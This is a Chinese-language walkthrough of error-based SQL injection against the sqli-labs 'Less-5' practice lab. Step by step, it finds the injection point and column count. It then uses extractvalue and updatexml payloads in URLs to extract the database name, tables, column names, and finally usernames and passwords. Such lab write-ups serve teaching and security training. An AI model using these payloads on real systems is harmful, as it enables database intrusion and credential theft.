考虑报错注入
(1)判断字符型还是数字型
http://39.101.162.123:10067/Less-5/?id=1%27%20and%201=%201–+
http://39.101.162.123:10067/Less-5/?id=1%27%20and%201=%202–+
字符型而且是单引号闭合
(2)判断字段个数:
http://39.101.162.123:10067/Less-5/?id=1%27%20order%20by%201,2,3,4–+
所以是3个字段
(3)尝试报错注入
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select version()))) --+
(4)爆库名:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select database()))) --+
XPATH syntax error: ‘~security’
(5)爆表名:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+
这里特别注意,一定要加limit 0,1 因为报错的信息不止一行,无法回显多行数据
XPATH syntax error: ‘~emails’
查询剩下的表:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) --+
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1))) --+
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1))) --+
所以一共4个表。
下面对users表进行字段名的查询:
(6)爆字段名:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))) --+
XPATH syntax error: '~id’
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1))) --+
XPATH syntax error: '~username’
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1))) --+
XPATH syntax error: '~password’
三个字段全部爆完:id,username,password
(7)爆数据:
这里就不繁琐的爆了,简单就爆第一个数据
http://39.101.162.123:10067/Less-5/?id=1’or updatexml(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from users )),0)or’ --+
这里就爆了第一个数据和部分第二个数据:
XPATH syntax error: ‘~1:Dumb:Dumb,2:Angelina:I-kill-y’